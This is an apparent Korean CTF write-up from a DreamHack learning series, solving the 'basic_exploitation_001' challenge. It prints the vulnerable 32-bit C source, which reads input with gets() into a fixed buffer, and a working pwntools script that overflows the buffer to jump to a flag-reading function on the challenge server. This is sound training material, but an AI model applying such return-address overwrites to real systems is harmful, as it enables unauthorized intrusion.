CIDY
[System_Hacking] stage5_문제풀이(basic_exploitation_001) 본문
// 32-bit, nx
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
nx걸려있음 -> 스택에 쉘코드 올려쓰는 방법은 안 됨. 근데 완전 친절하게 플래그 읽어주는 함수가 있음 -> 거기로 뛰자
from pwn import *
r = remote("host3.dreamhack.games", 16618)
flag = 0x80485b9
pay = b"A" * 0x80
pay += b"B" * 0x4
pay += p32(flag)
r.sendline(pay)
r.interactive()
어차피 목적은 쉘따서 명령 실행하는 게 아니고 플래그만 읽어오는거니까 상관없다.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] stage6_문제풀이(ssp_001) (0) | 2022.07.02 |
---|---|
[System_Hacking] stage6_문제풀이(Return to Shellcode) (0) | 2022.07.02 |
[System_Hacking] stage5_문제풀이(basic_exploitation_000) (0) | 2022.07.01 |
[System_Hacking] stage5_문제풀이(RAO) (0) | 2022.07.01 |
[System_Hacking] stage5_SYSV디버깅 (0) | 2022.07.01 |